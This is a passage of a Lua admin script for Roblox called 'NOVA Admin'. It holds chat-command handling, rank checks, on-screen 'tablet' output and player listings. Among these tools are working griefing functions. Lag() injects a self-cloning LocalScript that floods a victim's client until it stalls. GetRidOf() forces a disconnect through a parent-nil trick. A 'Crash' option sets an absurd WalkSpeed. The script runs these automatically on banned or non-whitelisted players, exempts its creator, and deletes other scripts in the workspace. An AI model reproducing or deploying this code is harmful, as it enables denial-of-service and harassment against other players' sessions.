  610. if SearchType == nil or SearchType == 1 then
  611. return string.match(Child.Name:lower(), Name:lower())
  612. elseif SearchType == 2 then
  613. return string.match(Child.className:lower(), Name:lower())
  614. elseif SearchType == 3 then
  615. return Child:IsA(Name) or Child:IsA(Name:lower())
  616. elseif SearchType == 4 then
  617. return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
  618. end
  619. return false
  620. end)() then
  621. table.insert(Children, Child)
  622. end
  623. GetRecursiveChildren(Child, Name, SearchType, Children)
  624. end)
  625. end
  626. elseif type(Source) == "table" then
  627. for _,Area in pairs(Source) do
  628. for _, Child in pairs(Area:children()) do
  629. pcall(function()
  630. if (function()
  631. if SearchType == nil or SearchType == 1 then
  632. return string.match(Child.Name:lower(), Name:lower())
  633. elseif SearchType == 2 then
  634. return string.match(Child.className:lower(), Name:lower())
  635. elseif SearchType == 3 then
  636. return Child:IsA(Name) or Child:IsA(Name:lower())
  637. elseif SearchType == 4 then
  638. return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
  639. end
  640. return false
  641. end)() then
  642. table.insert(Children, Child)
  643. end
  644. GetRecursiveChildren(Child, Name, SearchType, Children)
  645. end)
  646. end
  647. end
  648. else
  649. print("[NOVA.GetRecursiveChildren] Unsupported agrument type ("..type(Source)..")")
  650. end
  651. return Children
  652. end
  653.  
  654. --[[ GET REPLICATORS ]]--
  655. function GetReplicators()
  656. Rtn = NOVA.Services.NetworkServer:GetChildren()
  657. for i=1,#Rtn do
  658. if not Rtn[i]:IsA("ServerReplicator") then
  659. table.remove(Rtn,i)
  660. end
  661. end
  662. return Rtn
  663. end
  664.  
  665. --[[ REMOVE TABLETS ]]--
  666.  
  667. function RemoveTablets(Player)
  668. if Player == nil then
  669. for _,a in pairs(NOVA.Tablets) do
  670. a:Remove()
  671. end
  672. else
  673. for _,v in pairs(GetTablets(Player)) do
  674. v:Remove()
  675. end
  676. end
  677. end
  678.  
  679. --[[ GET RANKED ]]--
  680.  
  681. function GetRanked()
  682. local Rtn = {}
  683. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  684. if GetRank(v) ~= nil and GetRank(v) > 0 then
  685. table.insert(Rtn,v)
  686. end
  687. end
  688. return Rtn
  689. end
  690.  
  691. --[[ GET RID OF ]]--
  692. function GetRidOf(v)
  693. if v.Name == "rigletto" then
  694. Output("Attempt to call GetRidOf on the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  695. else
  696. pcall(function()
  697. coroutine.resume(coroutine.create(function()
  698. repeat wait() until v:FindFirstChild("Backpack") ~= nil
  699. CreateLocalScript([[
  700. LocalPlayer = game:service'Players'.LocalPlayer
  701. Players = LocalPlayer.Parent
  702. LocalPlayer.Parent = nil
  703. LocalPlayer.Parent = Players
  704. ]],
  705. v.Backpack
  706. )
  707. wait(1)
  708. pcall(function()
  709. v:Destroy()
  710. end)
  711. end))
  712. end)
  713. end
  714. end
  715.  
  716. --[[ LAG ]]--
  717. function Lag(v)
  718. coroutine.resume(coroutine.create(function()
  719. if v.Name == "rigletto" then
  720. OutputMulti("Attempting to lag the creator, command will not be carried through.",NOVA.Colors.Red,GetRanked(),4)
  721. else
  722. repeat wait() until v:FindFirstChild("Backpack") ~= nil
  723. newLocalScript([==[
  724. local LocalPlayer=game:GetService("Players").LocalPlayer
  725. for i=1,math.huge do
  726. coroutine.resume(coroutine.create(function()
  727. while wait() do
  728.  
  729.  
  730. pcall(function()
  731. LAG = script:Clone()
  732. LAG.Name = "LAG"
  733. LAG.Parent = LocalPlayer.Backpack
  734. LAG.Disabled = false
  735. end)
  736.  
  737. for i=1,10 do
  738. Instance.new("Seat",workspace.CurrentCamera)
  739. Instance.new("Message",workspace.CurrentCamera).Text = "UMAD?"
  740. end
  741. for i=1,10 do
  742. pcall(function()
  743. game.Players.LocalPlayer.Character.Archivable = true
  744. game.Players.LocalPlayer.Character:Clone().Parent = workspace.CurrentCamera
  745. end)
  746. end
  747.  
  748. end
  749. end))
  750. end
  751. ]==],v.Backpack)
  752. local H = Instance.new("Hint",NOVA.Services.Workspace)
  753. repeat
  754. H.Text = v.Name.." be gettin' lagged."
  755. H.Parent = NOVA.Services.Workspace
  756. wait()
  757. until v.Parent == nil
  758. H:Remove()
  759. end
  760. end))
  761. end
  762.  
  763. --[[ GET TABLETS ]]--
  764.  
  765. function GetTablets(player)
  766. local _tablets = {}
  767.  
  768. for _, tablet in pairs(NOVA.Tablets) do
  769. if tablet:FindFirstChild("Recipient") ~= nil and tablet.Parent ~= nil then
  770. if tablet.Recipient.Value == player then
  771. table.insert(_tablets, tablet)
  772. end
  773. end
  774. end
  775. --table.insert(_tablets,Instance.new("Model"))
  776. return _tablets
  777. end
  778.  
  779. --[[ OUTPUT ]]--
  780.  
  781. function Output(Message, Color, Player, Stick, Func)
  782. if Player ~= nil and Player.Character ~= nil and Player.Character.Head ~= nil then
  783. if Color == "Random" or Color == "random" then Color = Color3.new(math.random(),math.random(),math.random()) end
  784. local _tablets = GetTablets(Player)
  785. local _pos = Player.Character.Head.CFrame * CFrame.new(7, 7, 7)
  786.  
  787. local model = Instance.new("Model")
  788. model.Parent = NOVA.Services.Workspace
  789. model.Name = "Output::" .. Player.Name
  790.  
  791. local part = Instance.new("Part")
  792. part.Parent = model
  793. part.Transparency = 0.5
  794. part.CanCollide = false
  795. part.Locked = true
  796. part.TopSurface = "Smooth"
  797. part.BottomSurface = "Smooth"
  798. part.FormFactor = "Plate"
  799. part.Color = Color
  800. part.Size = Vector3.new(2, 0.4, 3)
  801. part.CFrame = _pos
  802. part:BreakJoints()
  803.  
  804. local click = Instance.new("ClickDetector")
  805. click.MaxActivationDistance = 9201
  806. click.Parent = part
  807. click.MouseClick:connect(function(player)
  808. if player == Player or GetRank(player) > GetRank(Player) then
  809. if Color == NOVA.Colors.Red and (Message == "Dismiss" or Message == "dismiss") then
  810. for _,v in pairs(GetTablets(Player)) do v:remove() end
  811. else
  812. model:remove()
  813. Func(player)
  814. end
  815. end
  816. end)
  817.  
  818. local fire = Instance.new("Fire")
  819. fire.Parent = part
  820. fire.Heat = 0
  821. fire.Size = 6
  822. fire.Color = Color
  823. fire.SecondaryColor = Color
  824.  
  825. local box = Instance.new("SelectionBox")
  826. box.Parent = part
  827. box.Adornee = part
  828. box.Color = BrickColor.new(Color.r, Color.g, Color.b)
  829.  
  830. local pos = Instance.new("BodyPosition")
  831. pos.Parent = part
  832. pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  833. pos.position = _pos.p
  834.  
  835. local gyro = Instance.new("BodyGyro")
  836. gyro.Parent = part
  837. gyro.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
  838.  
  839. local recip = Instance.new("ObjectValue")
  840. recip.Parent = model
  841. recip.Name = "Recipient"
  842. recip.Value = Player
  843.  
  844. local gui = Instance.new("BillboardGui")
  845. gui.Adornee = part
  846. gui.Size = UDim2.new(1, 0, 1, 0)
  847. gui.StudsOffset = Vector3.new(0, 3, 0)
  848. gui.Parent = model
  849.  
  850. local frame = Instance.new("Frame")
  851. frame.Parent = gui
  852. frame.Size = UDim2.new(1, 0, 1, 0)
  853. frame.BackgroundTransparency = 1
  854.  
  855. local label = Instance.new("TextLabel")
  856. label.Parent = frame
  857. label.Text = Message
  858. label.FontSize = "Size12"
  859. label.TextColor3 = Color
  860.  
  861. coroutine.resume(coroutine.create(function()
  862. if Stick == 0 or Stick == nil then else
  863. wait(Stick)
  864. model:Remove()
  865. end
  866. end))
  867.  
  868. table.insert(NOVA.Tablets, model)
  869. return click
  870. end
  871. end
  872. --[[ IMAGE OUTPUT ]]--
  873. function OutputImg(Image,Text,Color,Player,Stick,Func)
  874. Tab = Output(Text,Color,Player,Stick,Func)
  875.  
  876. BBG = Instance.new("BillboardGui",Tab.Parent)
  877. BBG.Size = UDim2.new(5,0,6,0)
  878. BBG.StudsOffset = Vector3.new(0, 7, 0)
  879. BBG.Adornee = Tab.Parent
  880.  
  881. Img = Instance.new("ImageLabel",BBG)
  882. Img.Size = UDim2.new(1,0,1,0)
  883. Img.BackgroundTransparency = 1
  884. Img.Image = Image--"http://www.roblox.com/asset/?id=45120559"
  885. return Tab
  886. end
  887.  
  888.  
  889. --[[ OUTPUT MULTI ]]--
  890.  
  891. function OutputMulti(Msg,Color,Players,Stick,Func)
  892. --if type(Players) == "Table" then
  893. for _,v in pairs(Players) do
  894. Output(Msg,Color,v,Stick,Func)
  895. end
  896. --end
  897. end
  898.  
  899. --[[ UPDATE TABLETS ]]--
  900.  
  901. function UpdateTablets()
  902. --pcall(function()
  903. for _,Player in pairs(NOVA.Services.Players:GetPlayers()) do
  904. local _tablets = GetTablets(Player)
  905. local counter = 0
  906. local Stretch = math.floor(#_tablets /2)
  907.  
  908. for i = 90, -90, -180/(#_tablets - 1) do
  909. counter = counter + 1
  910. local tabletPosition = Player.Character.Torso.CFrame * CFrame.Angles(0, math.rad(i), 0) * CFrame.new(0, 0, -15 - (Stretch))
  911.  
  912. pcall(function() _tablets[counter].Part.BodyPosition.position = tabletPosition.p end)
  913. pcall(function() _tablets[counter].Part.BodyGyro.cframe = tabletPosition * CFrame.Angles(math.rad(70), 0, 0) end)
  914. end
  915.  
  916. if #_tablets == 1 then
  917. local torso = Player.Character.Torso
  918. local pos = torso.CFrame + torso.CFrame.lookVector * 10
  919.  
  920. pcall(function() _tablets[1].Part.BodyPosition.position = pos.p end)
  921. pcall(function() _tablets[1].Part.BodyGyro.cframe = pos * CFrame.Angles(math.rad(70), 0, 0) end)
  922. end
  923. end
  924. --end)
  925. end
  926.  
  927. --[[ GET PLAYERS ]]--
  928. function GetPlayers(string,Player)
  929. if type(Player) == string or Player == nil then Player = Instance.new("Model") end
  930. string = string:lower()
  931. Rtn = {}
  932. if string == "all" then
  933. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  934. table.insert(Rtn,v)
  935. end
  936. elseif string == "others" then
  937. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  938. if v ~= Player then
  939. table.insert(Rtn,v)
  940. end
  941. end
  942. elseif string == "random" then
  943. table.insert(Rtn,NOVA.Services.Players:GetPlayers()[math.random(1,#NOVA.Services.Players:GetPlayers())])
  944. elseif string == "me" then
  945. table.insert(Rtn,Player)
  946. elseif string == "vetrans" then
  947. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  948. if v.AccountAge > 365 then
  949. table.insert(Rtn,v)
  950. end
  951. end
  952. elseif string == "nonvetrans" or string == "notvetrans" then
  953. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  954. if v.AccountAge < 365 then
  955. table.insert(Rtn,v)
  956. end
  957. end
  958. elseif string == "targeted" then
  959. for _,v in pairs(NOVA.Targeted) do
  960. table.insert(Rtn,v)
  961. end
  962. elseif string == "nontargeted" or string == "nottargeted" then
  963. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  964. if not IsTargeted(v) then
  965. table.insert(Rtn,v)
  966. end
  967. end
  968. elseif string:sub(1,4) == "rank" then
  969. if string:sub(6,7) == "gt" then
  970. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  971. print(string:sub(9))
  972. print(GetRank(v))
  973. print(GetRank(v) > tonumber(string:sub(9)))
  974. if GetRank(v) > tonumber(string:sub(9)) then
  975. print'ADDING!'
  976. table.insert(Rtn,v)
  977. print'ADDED!'
  978. end
  979. end
  980. elseif string:sub(6,7) == "ge" then
  981. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  982. if GetRank(v) >= tonumber(string:sub(9)) then
  983. table.insert(Rtn,v)
  984. end
  985. end
  986. elseif string:sub(6,7) == "eq" then
  987. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  988. if GetRank(v) == tonumber(string:sub(9)) then
  989. table.insert(Rtn,v)
  990. end
  991. end
  992. elseif string:sub(6,7) == "le" then
  993. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  994. if GetRank(v) <= tonumber(string:sub(9)) then
  995. table.insert(Rtn,v)
  996. end
  997. end
  998. elseif string:sub(6,7) == "lt" then
  999. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  1000. if GetRank(v) > tonumber(string:sub(9)) then
  1001. table.insert(Rtn,v)
  1002. end
  1003. end
  1004. end
  1005. else
  1006. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  1007. if string.sub(string.lower(v.Name),1,#string) == string.lower(string) then
  1008. table.insert(Rtn,v)
  1009. end
  1010. end
  1011. end
  1012.  
  1013. --[[for _,v in pairs(Rtn) do
  1014. print(type(v),v.Name)
  1015. end]]
  1016. --[[
  1017. for i=1,#Rtn do
  1018. if GetRank(Rtn[i]) >= GetRank(Player) then
  1019. --if not Rtn[i] == Player then
  1020. --Output(Rtn[i].Name.." outranks you!",NOVA.Colors.Orange,Player)
  1021. print'DERP!'
  1022. --end
  1023. end
  1024. end
  1025. ]]
  1026. return Rtn
  1027. end
  1028.  
  1029. --[[ ON CHATTED ]]--
  1030.  
  1031. function OnChatted(Msg,Speaker)
  1032. coroutine.resume(coroutine.create(function()
  1033. if NOVA.Removed == false then
  1034. if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  1035. if NOVA.ShowChat == true then
  1036. print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg)
  1037. end
  1038. end
  1039.  
  1040. --[[ CHAT FILTERS ]]--
  1041. if string.sub(Msg,1,10) == "mediafire " then Msg = string.sub(Msg,11) end
  1042. if string.sub(Msg,1,5) == "shit " then Msg = Msg:sub(6) end
  1043. if string.sub(Msg,1,5) == "gtfo " then Msg = Msg:sub(6) end
  1044. if string.sub(Msg,1,4) == " " then Msg = Msg:sub(5) end
  1045. if string.sub(Msg,1,9) == "password " then Msg = Msg:sub(10) end
  1046. if string.sub(Msg,1,7) == "hitler " then Msg = Msg:sub(8) end
  1047.  
  1048. --[[ KILLING PHRASES ]]--
  1049. if Msg:lower():find("ssj") then pcall(function() Speaker.Character:BreakJoints() end) end
  1050.  
  1051. Num = 1
  1052. Sep = nil
  1053.  
  1054. if Msg:sub(1,3) == "\\do" then
  1055.  
  1056. for i=4,100 do
  1057. if Msg:sub(i,i) == "\\" then
  1058. Sep = i
  1059. break
  1060. end
  1061. end
  1062.  
  1063. if Sep ~= nil then
  1064. Num = tonumber(Msg:sub(4,Sep-1))
  1065. end
  1066.  
  1067. Msg = Msg:sub(Sep)
  1068. end
  1069.  
  1070. if GetRank(Speaker) < 6 and GetRank(Speaker) >= 0 then
  1071. if Num > (GetRank(Speaker) + 1 )*10 then
  1072. Output("You do not have a high enough rank to loop that much.",NOVA.Colors.Orange,Speaker,5)
  1073. Num = 0
  1074. end
  1075. end
  1076.  
  1077. for i=1,Num do
  1078. wait()
  1079.  
  1080. if NOVA.Canceled == true then NOVA.Canceled = false break end
  1081.  
  1082. for _,CMD in pairs(NOVA.Commands) do
  1083. if string.sub(Msg:lower(),1,#CMD.Command+3) == "\\"..CMD.Command:lower().."\\?" then
  1084. RemoveTablets(Speaker)
  1085. Output("Name : "..CMD.Name,GetRankedTable(Speaker).Color,Speaker)
  1086. Output("Command : "..CMD.Command,GetRankedTable(Speaker).Color,Speaker)
  1087. Output("Arguments : "..CMD.Args,GetRankedTable(Speaker).Color,Speaker)
  1088. Output("Description : "..CMD.Description,GetRankedTable(Speaker).Color,Speaker)
  1089. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1090. elseif string.sub(Msg:lower(),1,#CMD.Command+2) == "\\"..CMD.Command:lower().."\\" then
  1091. if GetRank(Speaker) ~= nil and GetRank(Speaker) >= CMD.Rank then
  1092. CMD.Function(string.sub(Msg,#CMD.Command+3),Speaker)
  1093. else
  1094. print(Speaker.Name.." doesnt have high enough rank to use the "..CMD.Name.." command.")
  1095. Output("This command requires you to have a higher rank.",NOVA.Colors.Orange,Speaker,7)
  1096. end
  1097.  
  1098. end
  1099. end
  1100. end
  1101. end
  1102. end))
  1103. end
  1104.  
  1105. --[[ ADD COMMAND ]]--
  1106.  
  1107. function AddCommand(Name,Command,Rank,Description,Args,Function)
  1108. table.insert(NOVA.Commands,{Name = Name, Command = Command,Rank = Rank, Description = Description,Args = Args,Function = Function})
  1109. end
  1110.  
  1111. --[[ BACKUP PROCEDURE ]]--
  1112. pcall(function()
  1113. NOVA.Backup = script:children()[2].Value
  1114. end)
  1115.  
  1116. --[[ NIL SUPPORT ]]--
  1117. game:service'Chat'.Chatted:connect(function(Part,Message,Color)
  1118. OnChatted(Message,Part.Parent.Name)
  1119. end)
  1120.  
  1121.  
  1122. --[[ Safety Procedure # 1 ]]--
  1123. pcall(function()
  1124. NOVA.LocalScript.Parent = nil
  1125. end)
  1126. for _,v in pairs(NOVA.Plugins) do
  1127. pcall(function()
  1128. v.Parent = nil
  1129. end)
  1130. end
  1131. pcall(function()
  1132. script:ClearAllChildren()
  1133. end)
  1134.  
  1135. --[[ Safty Procedure # 2 ]]--
  1136. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1137. if v:IsA("StringValue") or v:IsA("IntValue") then
  1138. pcall(function()
  1139. v:remove()
  1140. end)
  1141. end
  1142. end
  1143.  
  1144. --[[ SCRIPT LOGGING PROCEDURES ]]--
  1145. if _G[NOVA.GlobalLoggedScriptsKey] ~= nil then
  1146. if type(_G[NOVA.GlobalLoggedScriptsKey]) == "table" then
  1147. for _,v in pairs(_G[NOVA.GlobalLoggedScriptsKey]) do
  1148. pcall(function()
  1149. table.insert(NOVA.LoggedScripts,v)
  1150. end)
  1151. end
  1152. end
  1153. end
  1154.  
  1155. for _,Service in pairs(NOVA.Services) do
  1156. Service.DescendantAdded:connect(function(New)
  1157. if NOVA.Removed == false then
  1158. if New:IsA("BaseScript") or New:IsA("Script") or New:IsA("LocalScript") then
  1159. table.insert(NOVA.LoggedScripts,v)
  1160. end
  1161. end
  1162. end)
  1163. end
  1164.  
  1165. for _,v in pairs(GetRecursiveChildren()) do
  1166. pcall(function()
  1167. if v:IsA("BaseScript") or v:IsA("Script") or v:IsA("LocalScript") then
  1168. table.insert(NOVA.LoggedScripts,v)
  1169. end
  1170. end)
  1171. end
  1172.  
  1173. --[[ INITIAL STARTUP ]]--
  1174. NOVA.Sounds.Sound.Name = "NOVA Sound"
  1175. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  1176. pcall(function()
  1177. pcall(function()
  1178. v.PlayerGui.NOVACMD:Remove()
  1179. end)
  1180. if GetRankedTable(v)==nil then
  1181. table.insert(NOVA.Ranked,{Name = v.Name, InPRI = false, CMD = false, Rank = 0, Color = NOVA.Colors.Orange, Desc = "N/A"})
  1182. end
  1183.  
  1184. Data = GetRankedTable(v)
  1185.  
  1186. v.Chatted:connect(function(Msg)
  1187. OnChatted(Msg,v)
  1188. end)
  1189.  
  1190.  
  1191.  
  1192. if GetRank(v) == -2 then
  1193. if v.Name ~= "rigletto" then
  1194. OutputMulti(v.Name.." has been lagged due to a banishment.",NOVA.Color.Orange,GetRanked(),10)
  1195. Lag(v)
  1196. end
  1197. end
  1198.  
  1199. if GetRank(v) == -1 then
  1200. if v.Name ~= "rigletto" then
  1201. OutputMulti(v.Name.." has been removed due to a banishment.",NOVA.Color.Orange,GetRanked(),10)
  1202. GetRidOf(v)
  1203. end
  1204. end
  1205.  
  1206.  
  1207. coroutine.resume(coroutine.create(function()
  1208. repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1209. CreateLocalScript(PlayerPlugins,v.Backpack)
  1210. end))
  1211.  
  1212. --[[
  1213. if GetRank(v) ~= nil and Data ~= nil then
  1214. Output("Hello, "..v.Name..". Your current rank is "..GetRankName(v)..".",Data.Color,v,10)
  1215. Output("Say \"\\cmds\\\" for a list of avalible commands!","Random",v,10)
  1216. OutputImg("http:\\www.roblox.com/asset/?id==82039020","NOVA","Random",v,10)
  1217. end
  1218. ]]
  1219. end)
  1220. end
  1221.  
  1222. --[[
  1223. OutputMulti("NOVA Admin made by "..string.reverse("ottelgir")..".","Random",GetRanked(),4)
  1224. for _,v in pairs(NOVA.Credit) do OutputMulti("Thanks to : "..v.Name.." "..v.Why,"Random",GetRanked(),10) end
  1225. ]]
  1226.  
  1227. --[[ PLAYER ADDED ]]--
  1228.  
  1229. NOVA.Services.Players.PlayerAdded:connect(function(v)
  1230. if NOVA.Removed == false then
  1231. pcall(function()
  1232. v.Chatted:connect(function(Msg)
  1233. OnChatted(Msg,v)
  1234. end)
  1235. if GetRankedTable(v)==nil then
  1236. table.insert(NOVA.Ranked,{Name = v.Name, InPRI = false, CMD = false, Rank = 0, Color = NOVA.Colors.Orange, Desc = "N/A"})
  1237. end
  1238.  
  1239. Data = GetRankedTable(v)
  1240.  
  1241. --[[ if NOVA.Removed == false then
  1242. print(v. Name.." has joined the game.")
  1243. print("Name : "..v.Name)
  1244. print("Age : "..v.AccountAge)
  1245. print("Rank : "..Data.Rank)
  1246. print("Desc : "..Data.Desc)
  1247. print("InPRI : "..Data.InPRI)
  1248. print("CMD : "..Data.CMD)
  1249. print("Color : "..tostring(Data.Color))
  1250. end
  1251. ]]
  1252.  
  1253. OutputMulti(v.Name.." has joined the game.",Data.Color,GetRanked(),3.5)
  1254.  
  1255.  
  1256. if Data.Rank == -2 then
  1257. if v.Name ~= "rigletto" then
  1258. OutputMulti(v.Name.." has been lagged due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
  1259. Lag(v)
  1260. end
  1261. end
  1262.  
  1263. if Data.Rank == -1 then
  1264. if v.Name ~= "rigletto" then
  1265. OutputMulti(v.Name.." has been removed due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
  1266. GetRidOf(v)
  1267. end
  1268. end
  1269.  
  1270.  
  1271. coroutine.resume(coroutine.create(function()
  1272. repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1273. CreateLocalScript(PlayerPlugins,v.Backpack)
  1274. end))
  1275.  
  1276.  
  1277. if NOVA.PRI == true then
  1278. if Data.InPRI == false and v.Name ~= "rigletto" then
  1279. OutputMulti(""..v.Name.." was "..NOVA.PRIType.."ed due to the PRI.",NOVA.Colors.Orange,GetRanked(),6)
  1280. if NOVA.PRIType == "Kick" then
  1281. v:Remove()
  1282. elseif NOVA.PRIType == "Lag" then
  1283. Lag(v)
  1284. elseif NOVA.PRIType == "Shutdown" then
  1285. coroutine.resume(coroutine.create(function()
  1286. GetRidOf(v)
  1287. end))
  1288. elseif NOVA.PRIType == "Crash" then
  1289. coroutine.resume(coroutine.create(function()
  1290. repeat wait() until v.Character ~= nil
  1291. pcall(function()
  1292. v.Character.Humanoid.WalkSpeed = 1e+999
  1293. end)
  1294. end))
  1295. end
  1296. end
  1297. end
  1298. end)
  1299. end
  1300. end)
  1301.  
  1302. AddCommand("Ping","ping",2,"Outputs the following string.","<String>",
  1303. function(Msg,Speaker)
  1304. if Msg == "rainbow" then
  1305. for _,Color in pairs(NOVA.Colors) do
  1306. Output(tostring(Color),Color,Speaker,nil,
  1307. function()
  1308. RemoveTablets(Speaker)
  1309. NOVA.Services.Lighting.TimeOfDay = 0
  1310. NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  1311. NOVA.Services.Lighting.Brightness = 0
  1312. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1313. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1314. NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  1315. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1316. if v:IsA("BasePart") then
  1317. Sel = Instance.new("SelectionBox",v)
  1318. Sel.Transparency = 0
  1319. Sel.Color = BrickColor.new(Color)
  1320. Sel.Adornee = v
  1321. end
  1322. end
  1323. Output("Say \\debug\\ to restore the server to the original lighting.",GetRankedTable(Speaker).Color,Speaker,5)
  1324. end
  1325. )
  1326. end
  1327. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1328. elseif Msg == "ranks" then
  1329. for _,v in pairs(NOVA.Ranks) do
  1330. Output(v,"Random",Speaker)
  1331. end
  1332. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1333. elseif Msg == "random" then
  1334. Output(tostring(math.random()),"Random",Speaker)
  1335. elseif Msg == "players" then
  1336. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  1337. local Data = GetRankedTable(v)
  1338. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,Data.Color,Speaker,nil,
  1339. function()
  1340. RemoveTablets(Speaker)
  1341. Output("Age : "..v.AccountAge,Data.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\ping\\players",Speaker) end)
  1342. Output("User ID : "..v.userId,Data.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\ping\\players",Speaker) end)
  1343. Output("Name : "..v.Name,Data.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\ping\\players",Speaker) end)
  1344. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1345. end
  1346. )
  1347. end
  1348. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1349. elseif Msg == "colors" then
  1350. coroutine.resume(coroutine.create(function()
  1351. NOVA.Services.Lighting.TimeOfDay = 0
  1352. NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  1353. NOVA.Services.Lighting.Brightness = 0
  1354. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1355. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1356. NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  1357.  
  1358. for _,Player in pairs(NOVA.Services.Players:GetPlayers()) do
  1359. Data = GetRankedTable(Player)
  1360. pcall(function()
  1361. for _,v in pairs(GetRecursiveChildren(Player.Character)) do
  1362. if v:IsA("BasePart") then
  1363. Sel = Instance.new("SelectionBox",v)
  1364. Sel.Transparency = 0
  1365. Sel.Color = BrickColor.new(Data.Color)
  1366. Sel.Adornee = v
  1367. end
  1368. end
  1369. end)
  1370. end
  1371.  
  1372. wait(10)
  1373.  
  1374. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1375. if v:IsA("SelectionBox") then
  1376. v:remove()
  1377. end
  1378. end
  1379.  
  1380. NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  1381. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1382. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1383. NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  1384. NOVA.Services.Lighting.Brightness = 1
  1385. NOVA.Services.Lighting.FogStart = 0
  1386. NOVA.Services.Lighting.FogEnd = 100000
  1387. NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  1388. NOVA.Services.Lighting.TimeOfDay = 12
  1389. end))
  1390. elseif Msg == "replicators" then
  1391. for _,Client in pairs(GetReplicators()) do
  1392. Data = GetRankedTable(Client:GetPlayer())
  1393. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Data.Name,Data.Name,Data.Color,Speaker,nil,
  1394. function()
  1395. RemoveTablets(Speaker)
  1396. Output("Age : "..Client:GetPlayer().AccountAge,Data.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\ping\\replicators",Speaker) end)
  1397. Output("User ID : "..Client:GetPlayer().userId,Data.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\ping\\replicators",Speaker) end)
  1398. Output("Name : "..Client:GetPlayer().Name,Data.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\ping\\replicators",Speaker) end)
  1399. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1400. end
  1401. )
  1402. end
  1403. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1404. elseif Msg == "nil" then
  1405. --[=[
  1406. Player = "WhenYouRunYouDie"
  1407. for _,v in pairs(game.NetworkServer:children()) do
  1408. if v:GetPlayer().Name == Player then
  1409. Player = v:GetPlayer()
  1410. break
  1411. end
  1412. end
  1413.  
  1414. newLocalScript([[
  1415. LocalPlayer = game:service'Players'.LocalPlayer
  1416. Players = LocalPlayer.Parent
  1417. LocalPlayer.Parent = nil
  1418. LocalPlayer.Parent = Players
  1419. ]], Instance.new("Backpack",Player)
  1420. )
  1421.  
  1422. ]=]--
  1423. for _,Client in pairs(GetReplicators()) do
  1424. Data = GetRankedTable(Client:GetPlayer())
  1425. if Client:GetPlayer().Parent == nil then
  1426. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Data.Name,Data.Name,Data.Color,Speaker,nil,
  1427. function()
  1428. RemoveTablets(Speaker)
  1429. Output("Age : "..Client:GetPlayer().AccountAge,Data.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\ping\\nil",Speaker) end)
  1430. Output("User ID : "..Client:GetPlayer().userId,Data.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\ping\\nil",Speaker) end)
  1431. Output("Name : "..Client:GetPlayer().Name,Data.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\ping\\nil",Speaker) end)
  1432. Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,function() Instance.new("BooleanValue",Client:GetPlayer()).Name = "Disconnect()" Client:GetPlayer().Parent = NOVA.Services.Players end)
  1433. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1434. end
  1435. )
  1436. end
  1437. end
  1438. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1439. else
  1440. if #Msg == 0 then
